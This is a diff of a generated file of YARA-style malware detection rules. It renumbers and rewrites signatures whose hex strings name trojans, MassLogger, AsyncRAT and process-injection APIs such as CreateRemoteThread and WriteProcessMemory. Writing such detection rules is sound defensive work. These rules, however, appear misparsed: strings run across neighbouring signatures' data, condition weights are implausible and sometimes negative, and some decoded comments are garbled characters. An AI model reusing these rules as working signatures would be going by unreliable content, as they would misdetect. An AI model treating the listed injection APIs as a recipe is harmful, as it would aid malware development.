00 25 80 01 24 30 63 33 66 62 39 } //25145 + $a_39_21 = {32 36 2d 34 63 36 32 2d 39 37 35 62 2d 65 34 32 31 30 30 36 34 63 39 64 30 32 00 25 80 01 24 39 62 35 65 39 37 61 34 2d 39 61 33 61 2d } //25136 + $a_37_22 = {62 37 34 37 2d 35 36 34 38 33 36 30 33 61 39 36 61 32 00 25 80 01 24 64 37 37 32 35 62 35 64 2d 32 31 66 64 2d 34 64 61 64 2d 38 36 35 32 2d 34 36 37 38 63 32 37 61 65 30 36 38 32 00 25 80 01 24 64 34 66 66 32 33 30 38 2d 35 62 39 32 2d 34 39 61 61 2d 62 33 37 61 2d 65 65 34 34 30 36 62 61 62 64 35 30 32 } //26164 + $a_01_23 = {24 65 31 32 38 37 63 32 34 2d 33 62 30 31 2d 34 39 34 30 2d 61 64 32 39 2d 38 34 31 32 61 31 64 39 64 66 38 31 32 00 25 80 01 24 31 65 30 65 64 66 30 35 2d 30 39 62 33 2d 34 61 61 61 2d 62 33 39 33 2d 37 65 64 35 31 63 30 36 34 65 39 39 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 32 32 2d 01 00 0c 80 01 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 } //9472 + $a_65_24 = {01 00 08 80 01 47 65 74 42 79 74 65 73 01 00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 80 01 41 63 74 69 76 61 74 6f 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0c 80 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 ff 01 00 01 00 01 00 } //28493 + $a_23_25 = {4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6d 70 65 72 6d 69 6e 74 2e 46 21 64 } //5 LFPER:Trojan:Win32/Pempermint.F!d + $a_65_27 = {61 69 } //24832 ai + $a_61_28 = {62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 79 77 67 67 73 69 61 67 65 61 61 6f 69 62 61 71 64 68 6a 78 39 64 76 35 90 01 0a 7a 63 39 39 68 6e 65 64 64 79 75 76 73 36 33 72 65 76 65 70 67 31 73 79 63 39 6a 79 68 72 62 6f 75 75 6f 76 72 90 00 01 00 49 02 65 70 71 69 62 61 61 6b } //24930 + $a_65_29 = {37 73 75 63 78 68 61 2b 65 31 32 61 6a 70 37 65 67 6f 6b 6d 31 90 01 0a 77 72 73 65 69 70 68 78 74 6d 71 64 73 78 77 63 6c 6a 38 66 61 62 73 2b 64 6b 6f 61 6d 6f 62 61 67 2b 90 00 01 00 5f 02 65 76 67 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 67 77 67 67 73 6b 61 67 65 61 61 6f 69 62 61 71 64 6f } //24931 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65+(#a_00_2 & 1)*114+(#a_00_3 & 1)*116+(#a_00_5 & 1)*80+(#a_20_6 & 1)*29285+(#a_3a_8 & 1)*18689+(#a_44_9 & 1)*11379+(#a_72_10 & 1)*8236+(#a_66_11 & 1)*25959+(#a_6f_12 & 1)*28015+(#a_01_13 & 1)*29545+(#a_64_14 & 1)*28492+(#a_6f_15 & 1)*29797+(#a_64_16 & 1)*25970+(#a_63_17 & 1)*29808+(#a_73_18 & 1)*17409+(#a_61_19 & 1)*29301+(#a_67_20 & 1)*27496+(#a_6a_21 & 1)*12849+(#a_67_22 & 1)*28516+(#a_65_23 & 1)*24931+(#a_6c_24 & 1)*26471+(#a_39_26 & 1)*13825+(#a_31_27 & 1)*11619+(#a_34_28 & 1)*14389+(#a_39_29 & 1)*24934) >=201 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*65+(#a_00_2 & 1)*114+(#a_00_3 & 1)*116+(#a_00_5 & 1)*80+(#a_20_6 & 1)*29285+(#a_3a_8 & 1)*18689+(#a_44_9 & 1)*11379+(#a_72_10 & 1)*8236+(#a_66_11 & 1)*25959+(#a_6f_12 & 1)*28015+(#a_01_13 & 1)*29545+(#a_64_14 & 1)*28492+(#a_6f_15 & 1)*29797+(#a_64_16 & 1)*25970+(#a_63_17 & 1)*29808+(#a_73_18 & 1)*17409+(#a_61_19 & 1)*29301+(#a_62_20 & 1)*25145+(#a_39_21 & 1)*25136+(#a_37_22 & 1)*26164+(#a_01_23 & 1)*9472+(#a_65_24 & 1)*28493+(#a_23_25 & 1)*5+(#a_65_27 & 1)*24832+(#a_61_28 & 1)*24930+(#a_65_29 & 1)*24931) >=201 } -rule _InfrastructureShared_19669{ +rule _InfrastructureShared_20875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -244743,12 +259692,12 @@ rule _InfrastructureShared_19669{ $a_65_7 = {49 6e 66 6f 72 6d 61 74 69 6f 6e 01 00 17 01 49 6d 70 65 72 73 6f 6e 61 74 65 4c 6f 67 67 65 64 4f 6e 55 73 65 72 01 00 0f 01 53 74 72 69 6e 67 46 72 6f 6d 47 55 49 44 32 01 00 0c 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 01 00 10 01 47 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 10 01 53 65 74 54 68 72 65 61 64 43 } //28500 $a_65_8 = {74 01 00 12 01 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 01 00 10 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 01 00 12 01 57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 01 00 14 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 41 01 00 14 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 73 55 73 65 72 41 01 00 16 } //28271 Ŵሀ䌁敲瑡剥浥瑯呥牨慥Ťက嘁物畴污牐瑯捥䕴Ÿሀ圁楲整牐捯獥䵳浥牯Ź᐀䌁祲瑰捁畱物䍥湯整瑸Ł᐀䌁敲瑡健潲散獳獁獕牥Łᘀ $a_65_9 = {74 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 6c 6f 63 6b 01 00 17 01 44 65 73 74 72 6f 79 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 6c 6f 63 6b 01 00 19 01 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 01 00 10 01 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 01 00 26 01 47 65 6e 75 69 6e 65 49 6e 74 65 6c 41 75 74 68 } //17153 - $a_69_10 = {41 4d 44 43 65 6e 74 61 75 72 48 61 75 6c 73 37 7a 00 00 78 ff 01 00 01 00 01 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6d 70 65 72 6d 69 6e 74 2e 46 21 64 68 61 00 01 00 61 02 65 76 61 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 79 77 67 67 73 69 61 67 65 61 61 6f 69 } //28261 + $a_69_10 = {41 4d 44 43 65 6e 74 61 75 72 48 61 75 6c 73 37 7a 00 00 78 fe 01 00 34 00 34 00 11 00 21 23 48 53 54 52 3a 4d 61 73 73 4c 6f 67 67 65 72 2e 44 53 4b 00 32 00 25 80 01 24 65 33 62 31 65 33 63 35 2d 64 35 36 32 2d 34 36 62 62 2d 39 66 36 32 2d 63 61 39 38 39 62 39 62 64 39 38 61 32 00 25 80 01 24 36 61 32 66 38 33 32 63 2d 65 64 33 32 2d 34 32 61 } //28261 condition: ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*8293+(#a_72_2 & 1)*30240+(#a_61_4 & 1)*19457+(#a_74_5 & 1)*28192+(#a_33_6 & 1)*26967+(#a_65_7 & 1)*28500+(#a_65_8 & 1)*28271+(#a_65_9 & 1)*17153+(#a_69_10 & 1)*28261) >=4 } -rule _InfrastructureShared_19670{ +rule _InfrastructureShared_20876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -244758,26 +259707,48 @@ rule _InfrastructureShared_19670{ $a_56_2 = {72 } //3072 r $a_6c_3 = {6c 6c 6f 63 01 00 10 01 47 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 10 01 53 65 74 54 68 72 65 61 64 43 6f 6e 74 65 78 74 01 00 12 01 43 72 65 61 74 65 52 65 6d 6f 74 65 54 68 72 65 61 64 01 00 10 01 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 45 78 01 00 12 01 57 72 69 74 65 50 72 } //30068 $a_73_4 = {4d 65 6d 6f 72 79 01 00 14 01 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 41 01 00 14 01 43 72 65 61 74 65 50 72 6f 63 65 73 73 41 73 55 73 65 72 41 01 00 16 01 43 72 65 61 74 65 45 6e 76 69 72 6f 6e 6d 65 6e 74 42 6c 6f 63 6b 01 00 17 01 44 65 73 74 72 6f 79 45 6e 76 69 72 6f 6e 6d 65 6e } //25455 - $a_6f_5 = {6b 01 00 19 01 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 01 00 10 01 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 01 00 26 01 47 65 6e 75 69 6e 65 49 6e 74 65 6c 41 75 74 68 65 6e 74 69 63 41 4d 44 43 65 6e 74 61 75 72 48 61 75 6c 73 37 7a 00 00 78 ff 01 00 01 00 01 00 05 00 21 23 41 4c } //17012 - $a_52_6 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6d 70 65 72 6d 69 6e 74 2e 46 21 64 68 61 00 01 00 61 02 65 76 61 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 79 77 67 67 } //20550 - $a_67_7 = {61 61 6f 69 62 61 71 64 68 6a 78 39 64 76 35 90 01 0a 7a 63 39 39 68 6e 65 64 64 79 75 76 73 36 33 72 65 76 65 70 67 31 73 79 63 39 6a 79 68 72 62 6f 75 75 6f 76 72 90 00 01 00 49 02 65 70 71 69 62 61 61 6b 63 61 71 65 61 37 73 75 63 78 68 61 2b 65 31 32 61 6a 70 37 65 67 6f 6b 6d 31 90 01 } //26995 - $a_73_8 = {69 70 68 78 74 6d 71 64 73 78 77 63 6c 6a 38 66 61 62 73 2b 64 6b 6f 61 6d 6f 62 61 67 2b 90 00 01 00 5f 02 65 76 67 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 67 77 67 67 73 6b 61 67 65 61 61 6f 69 62 61 71 64 6f 37 67 66 31 76 6e 31 74 70 7a 31 70 68 33 90 01 0a 2b 77 76 74 33 36 6c 7a 72 70 71 70 } //30474 - $a_69_9 = {30 34 69 74 6c 6c 63 6d 61 75 90 00 01 00 59 02 65 70 61 69 62 61 61 6b 63 61 71 65 61 37 7a 37 69 77 6d 77 79 6b 6c 7a 77 73 37 77 63 68 6d 36 76 71 68 33 } //26987 - $a_77_10 = {6f 76 6e 6a 6c 62 62 73 64 75 66 7a 90 01 0a 70 67 6e 6f 6a 39 6c 79 6c 75 78 71 6e 6a 62 31 74 73 6f 68 31 30 6c 34 64 63 32 69 75 6f 68 90 00 01 00 5a 02 65 76 77 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 6b 77 67 67 73 6c 61 67 65 61 61 6f 69 62 61 71 64 62 61 90 01 0a 70 66 6d } //27753 - $a_69_11 = {74 6d 78 61 68 30 67 7a 79 69 74 63 62 66 31 2b 6a 37 6c 33 64 77 67 68 62 65 6f 90 00 00 00 78 ff 01 00 01 00 01 00 0b 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 41 73 79 6e 63 52 41 54 5f 43 5f 53 68 61 72 70 00 01 00 24 80 01 36 31 39 62 37 36 31 32 2d } //25451 - $a_61_12 = {34 34 32 61 2d 61 39 32 37 2d 64 39 39 37 66 39 39 63 34 39 37 62 01 00 24 80 01 34 32 34 62 38 31 62 65 2d 32 66 61 63 2d 34 31 39 66 2d 62 34 62 63 2d 30 30 63 63 62 65 33 38 34 39 31 66 01 00 24 80 01 33 37 65 32 30 62 61 66 2d 33 35 37 37 2d 34 63 64 39 2d 62 62 33 39 2d 31 38 36 37 35 38 35 34 65 } //26212 - $a_01_13 = {00 24 80 01 64 61 66 65 36 38 36 61 2d 34 36 31 62 2d 34 30 32 62 2d 62 62 64 37 2d 32 61 32 66 34 63 38 37 63 37 37 33 01 00 24 80 01 65 65 30 33 66 61 61 39 } //13618 - $a_65_14 = {2d 34 37 36 36 2d 62 64 34 65 2d 35 63 64 35 34 63 37 66 31 33 64 33 01 00 24 80 01 38 62 66 63 38 65 64 32 2d 37 31 63 63 2d 34 39 64 63 2d 39 30 32 30 2d 32 63 38 31 39 } //25389 - $a_32_15 = {62 36 01 00 24 80 01 64 36 34 30 63 33 36 62 2d 32 63 36 36 2d 34 34 39 62 2d 61 31 34 35 2d 65 62 39 38 33 32 32 61 36 37 63 38 01 00 24 80 01 38 64 65 34 32 64 61 33 2d 62 65 39 39 2d 34 65 37 65 2d 61 33 64 32 2d 33 66 36 35 65 37 63 31 61 62 63 65 01 00 24 80 01 62 65 65 38 38 31 38 36 2d 37 } //25145 - $a_2d_16 = {35 32 63 2d 39 64 64 39 2d 64 30 65 30 38 31 35 64 39 32 62 66 01 00 24 80 01 39 30 34 32 62 35 34 33 2d 31 33 64 31 2d 34 32 62 33 2d 61 35 62 36 2d 35 63 63 39 61 64 35 35 65 31 35 30 01 00 24 80 01 36 61 61 34 65 33 39 32 2d 61 61 61 66 2d 34 34 30 38 2d 62 35 35 30 2d 38 35 38 36 33 64 } //14646 - $a_61_17 = {66 00 00 78 ff 01 00 04 00 04 00 39 00 21 23 48 53 54 52 3a 52 65 66 4c 6f 61 64 41 70 69 48 61 73 68 2e 43 00 01 00 04 01 29 80 6b 00 01 00 04 01 4c 77 26 07 01 00 04 01 d7 2e dd 13 01 00 04 01 38 68 0d 16 01 00 04 01 db bd 64 26 01 00 04 01 f1 a2 77 29 01 00 04 01 94 ac be 33 01 00 04 01 1d } //13412 - $a_01_18 = {00 04 01 eb 55 2e 3b 01 00 04 01 c8 38 a4 40 01 00 04 01 da f6 da 4f 01 00 04 01 c6 96 87 52 01 00 04 01 2d 57 ae 5b 01 00 04 01 98 10 b3 5b 01 00 04 01 02 d9 } //9887 - $a_00_19 = {04 } //24520 + $a_6f_5 = {6b 01 00 19 01 49 73 50 72 6f 63 65 73 73 6f 72 46 65 61 74 75 72 65 50 72 65 73 65 6e 74 01 00 10 01 52 65 66 6c 65 63 74 69 76 65 4c 6f 61 64 65 72 01 00 26 01 47 65 6e 75 69 6e 65 49 6e 74 65 6c 41 75 74 68 65 6e 74 69 63 41 4d 44 43 65 6e 74 61 75 72 48 61 75 6c 73 37 7a 00 00 78 fe 01 00 34 00 34 00 11 00 21 23 48 53 } //17012 + $a_4d_6 = {73 73 4c 6f 67 67 65 72 2e 44 53 4b 00 32 00 25 80 01 24 65 33 62 31 65 33 63 35 2d 64 35 36 32 2d 34 36 62 62 2d 39 66 36 32 2d 63 61 39 38 39 62 39 62 64 39 38 61 32 00 25 } //21076 + $a_36_7 = {32 66 38 33 32 63 2d 65 64 33 32 2d 34 32 61 33 2d 38 33 66 64 2d 38 63 34 34 65 63 34 34 61 33 35 64 32 00 } //384 昲㌸挲攭㍤ⴲ㈴㍡㠭昳ⵤ挸㐴捥㐴㍡搵2 + $a_24_8 = {63 } //-32731 c + $a_39_9 = {62 2d 39 65 32 36 2d 34 63 36 32 2d 39 37 35 62 2d 65 34 32 31 30 30 36 34 63 39 64 30 32 00 25 80 01 24 39 62 35 65 39 37 61 34 2d 39 61 33 61 2d 34 66 66 37 2d 62 37 34 37 2d 35 36 34 38 33 36 30 33 61 39 36 61 32 00 25 80 01 24 64 37 37 32 35 62 35 64 2d 32 31 66 64 2d 34 64 61 64 2d 38 36 } //26163 + $a_34_10 = {37 38 63 32 37 61 65 30 36 38 32 00 25 80 01 24 64 34 66 66 32 33 30 38 2d 35 62 39 32 2d 34 39 61 61 2d 62 33 37 61 2d 65 65 34 34 30 } //12853 + $a_62_11 = {35 30 32 00 25 80 01 24 65 31 32 38 37 63 32 34 2d 33 62 30 31 2d 34 39 34 30 2d 61 64 32 39 2d 38 34 31 32 61 31 64 39 64 66 38 31 32 00 25 80 01 24 31 65 30 65 64 66 30 35 2d 30 39 62 33 2d 34 61 61 61 2d 62 33 39 33 2d 37 65 64 35 31 63 30 36 34 65 39 39 01 00 0d 80 01 7b 31 31 31 31 31 } //25142 + $a_32_12 = {32 2d 01 00 0c 80 01 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 08 80 01 47 65 74 42 79 74 65 } //12845 + $a_72_14 = {61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 80 01 41 63 74 69 76 61 74 6f 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0c 80 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 07 80 01 47 65 74 54 79 } //384 + $a_00_16 = {01 } //-136 + $a_41_18 = {46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6d 70 65 72 6d 69 6e 74 2e 46 21 64 68 61 00 } //8448 + $a_02_19 = {65 76 61 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 79 77 67 67 73 69 61 67 65 61 61 6f 69 62 61 71 64 68 6a 78 39 64 76 35 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 7a 63 39 39 68 6e 65 64 64 79 75 76 73 36 33 72 65 76 65 70 67 31 73 79 63 39 6a 79 68 72 62 6f 75 75 6f 76 72 } //1 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27759+(#a_56_2 & 1)*3072+(#a_6c_3 & 1)*30068+(#a_73_4 & 1)*25455+(#a_6f_5 & 1)*17012+(#a_52_6 & 1)*20550+(#a_67_7 & 1)*26995+(#a_73_8 & 1)*30474+(#a_69_9 & 1)*26987+(#a_77_10 & 1)*27753+(#a_69_11 & 1)*25451+(#a_61_12 & 1)*26212+(#a_01_13 & 1)*13618+(#a_65_14 & 1)*25389+(#a_32_15 & 1)*25145+(#a_2d_16 & 1)*14646+(#a_61_17 & 1)*13412+(#a_01_18 & 1)*9887+(#a_00_19 & 1)*24520) >=20 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*27759+(#a_56_2 & 1)*3072+(#a_6c_3 & 1)*30068+(#a_73_4 & 1)*25455+(#a_6f_5 & 1)*17012+(#a_4d_6 & 1)*21076+(#a_36_7 & 1)*384+(#a_24_8 & 1)*-32731+(#a_39_9 & 1)*26163+(#a_34_10 & 1)*12853+(#a_62_11 & 1)*25142+(#a_32_12 & 1)*12845+(#a_72_14 & 1)*384+(#a_00_16 & 1)*-136+(#a_41_18 & 1)*8448+(#a_02_19 & 1)*1) >=20 } -rule _InfrastructureShared_19671{ +rule _InfrastructureShared_20877{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,34 00 34 00 11 00 21 " + + strings : + $a_54_0 = {3a 4d 61 73 73 4c 6f 67 67 65 72 2e 44 53 4b 00 32 00 25 80 01 24 65 33 62 31 65 33 63 35 2d 64 35 36 32 2d 34 36 62 62 2d 39 66 36 32 2d 63 61 39 38 39 62 39 62 64 39 38 61 32 00 25 80 01 24 36 61 32 66 38 33 32 63 2d 65 64 33 32 2d 34 32 61 33 2d } //18467 + $a_64_1 = {38 63 34 34 65 63 34 34 61 33 35 64 32 00 25 80 01 24 30 63 33 66 62 39 30 62 2d 39 65 32 36 2d 34 63 36 32 2d 39 37 35 62 2d 65 34 32 31 30 30 36 34 63 39 64 30 32 00 25 80 01 24 39 62 35 65 39 37 61 34 2d 39 61 33 61 2d 34 66 66 37 2d 62 37 34 37 2d 35 36 34 38 33 36 30 33 61 39 36 61 32 00 25 80 01 24 } //13112 + $a_32_2 = {62 35 64 2d 32 31 66 64 2d 34 64 61 64 2d 38 36 35 32 2d 34 36 37 38 63 32 37 61 65 30 36 38 32 00 25 80 01 24 64 34 66 66 32 33 30 38 2d 35 62 39 32 2d 34 39 61 61 } //14180 + $a_37_3 = {2d 65 65 34 34 30 36 62 61 62 64 35 30 32 00 25 80 01 24 65 31 32 38 37 63 32 34 2d 33 62 30 31 2d 34 39 34 30 2d 61 64 32 39 2d 38 34 31 32 61 31 64 39 } //25133 + $a_31_4 = {00 25 80 01 24 31 65 30 65 64 66 30 35 2d 30 39 62 33 2d 34 61 61 61 2d 62 33 39 33 2d 37 65 64 35 31 63 30 36 34 65 39 39 01 00 0d 80 01 7b 31 31 31 31 31 2d 32 32 32 } //26212 + $a_01_5 = {00 0c 80 01 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 80 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 08 80 01 47 65 74 42 79 } //12850 + $a_01_6 = {00 0e 80 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 80 01 41 63 74 69 76 61 74 6f 72 01 00 0a 80 01 47 65 74 4d 65 74 68 6f 64 73 01 00 0c 80 01 67 65 74 5f 41 73 73 65 6d 62 6c 79 01 00 07 80 01 47 65 74 54 79 70 65 00 00 78 ff 01 00 01 00 01 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 6d 70 65 } //25972 + $a_6e_7 = {2e 46 21 64 68 61 00 01 00 61 02 65 76 61 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 79 77 67 67 73 69 61 67 65 61 61 6f 69 62 61 71 64 68 6a 78 39 64 76 35 90 01 0a 7a 63 39 39 68 6e 65 64 64 79 75 76 73 36 33 72 65 76 65 70 67 31 73 79 63 39 6a 79 68 72 62 6f 75 75 6f 76 } //28018 + $a_65_9 = {71 69 } //18688 qi + $a_6b_10 = {61 71 65 61 37 73 75 63 78 68 61 2b 65 31 32 61 6a 70 37 65 67 6f 6b 6d 31 90 01 0a 77 72 73 65 69 70 68 78 74 6d 71 64 73 78 77 63 6c 6a 38 66 61 62 73 2b 64 6b 6f 61 6d 6f 62 61 67 2b 90 00 01 00 5f 02 65 76 67 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 } //24930 + $a_77_11 = {67 73 6b 61 67 65 61 61 6f 69 62 61 71 64 6f 37 67 66 31 76 6e 31 74 70 7a 31 70 68 33 90 01 0a 2b 77 76 74 33 36 6c 7a 72 70 71 70 6b 69 34 69 78 30 34 69 74 6c 6c 63 6d 61 75 90 00 01 00 59 02 65 70 61 69 62 61 61 6b 63 61 71 65 61 37 7a 37 69 77 6d 77 79 6b 6c 7a 77 73 37 77 63 68 6d 36 76 71 68 33 69 6c } //27490 + $a_6f_12 = {6e 6a 6c 62 62 73 64 75 66 7a 90 01 0a 70 67 6e 6f 6a 39 6c 79 6c 75 78 71 6e 6a 62 31 74 73 6f 68 31 30 6c 34 64 63 32 69 75 6f 68 90 00 01 00 5a 02 65 76 77 69 62 61 64 61 6e 62 67 6b 71 68 6b 69 67 39 77 30 62 61 71 65 66 61 61 73 63 62 6b 6b 77 67 67 73 6c 61 67 65 61 61 6f 69 62 61 71 64 62 } //30572 + $a_0a_13 = {70 } //-28575 p + $a_63_14 = {69 68 74 6d 78 61 68 30 67 7a 79 69 74 63 62 66 31 2b 6a 37 6c 33 64 77 67 68 62 65 6f 90 00 00 00 78 ff 01 00 01 00 01 00 0b 00 21 23 41 4c 46 3a 59 32 56 3a 41 72 6e 69 6d 5f 52 75 70 70 2f 48 4b 54 4c 5f 4e 45 54 5f 47 55 49 44 5f 41 73 79 6e 63 52 41 54 5f 43 5f 53 68 61 72 70 00 01 00 24 80 01 36 31 39 62 37 36 31 } //28006 + $a_66_15 = {61 2d 34 34 32 61 2d 61 39 32 37 2d 64 39 39 37 66 39 39 63 34 39 37 62 01 00 24 80 01 34 32 34 62 38 31 62 65 2d 32 66 61 63 2d 34 31 39 66 2d 62 34 62 63 2d 30 30 63 63 62 65 33 38 34 39 31 66 01 00 24 80 01 33 37 65 32 30 62 61 66 2d 33 35 37 37 2d 34 63 64 39 2d 62 62 33 39 2d 31 38 36 37 35 38 } //11570 + $a_32_16 = {35 01 00 24 80 01 64 61 66 65 36 38 36 61 2d 34 36 31 62 2d 34 30 32 62 2d 62 62 64 37 2d 32 61 32 66 34 63 38 37 63 37 37 33 01 00 24 80 01 65 65 30 33 66 61 61 39 2d 63 39 65 38 2d 34 37 36 36 2d 62 64 34 65 2d 35 63 64 35 34 63 37 66 31 33 64 33 01 00 24 80 01 38 62 66 63 38 65 64 32 2d 37 31 63 63 } //13365 + condition: + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13112+(#a_32_2 & 1)*14180+(#a_37_3 & 1)*25133+(#a_31_4 & 1)*26212+(#a_01_5 & 1)*12850+(#a_01_6 & 1)*25972+(#a_6e_7 & 1)*28018+(#a_65_9 & 1)*18688+(#a_6b_10 & 1)*24930+(#a_77_11 & 1)*27490+(#a_6f_12 & 1)*30572+(#a_0a_13 & 1)*-28575+(#a_63_14 & 1)*28006+(#a_66_15 & 1)*11570+(#a_32_16 & 1)*13365) >=52 + +} +rule _InfrastructureShared_20878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -244791,7 +259762,7 @@ rule _InfrastructureShared_19671{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*24933+(#a_68_2 & 1)*26981+(#a_30_3 & 1)*26932+(#a_67_4 & 1)*27496) >=1 } -rule _InfrastructureShared_19672{ +rule _InfrastructureShared_20879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -244811,7 +259782,7 @@ rule _InfrastructureShared_19672{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*14649+(#a_61_2 & 1)*12338+(#a_35_3 & 1)*25397+(#a_62_4 & 1)*13153+(#a_2d_5 & 1)*12853+(#a_01_6 & 1)*30720+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1) >=1 } -rule _InfrastructureShared_19673{ +rule _InfrastructureShared_20880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 39 00 21 " @@ -244876,7 +259847,7 @@ rule _InfrastructureShared_19673{ ((#a_54_0 & 1)*18467+(#a_eb_1 & 1)*1024+(#a_a4_3 & 1)*-14335+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_00_43 & 1)*-100+(#a_ff_44 & 1)*0+(#a_03_45 & 1)*1+(#a_03_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_81_55 & 1)*1+(#a_81_56 & 1)*1) >=4 } -rule _InfrastructureShared_19674{ +rule _InfrastructureShared_20881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0d 00 21 " @@ -244896,7 +259867,7 @@ rule _InfrastructureShared_19674{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1+(#a_49_3 & 1)*7424+(#a_3a_4 & 1)*25445+(#a_72_5 & 1)*281+(#a_73_6 & 1)*29532+(#a_38_7 & 1)*13621+(#a_6d_9 & 1)*25345+(#a_00_11 & 1)*52+(#a_00_12 & 1)*54) >=6 } -rule _InfrastructureShared_19675{ +rule _InfrastructureShared_20882{ meta: description = 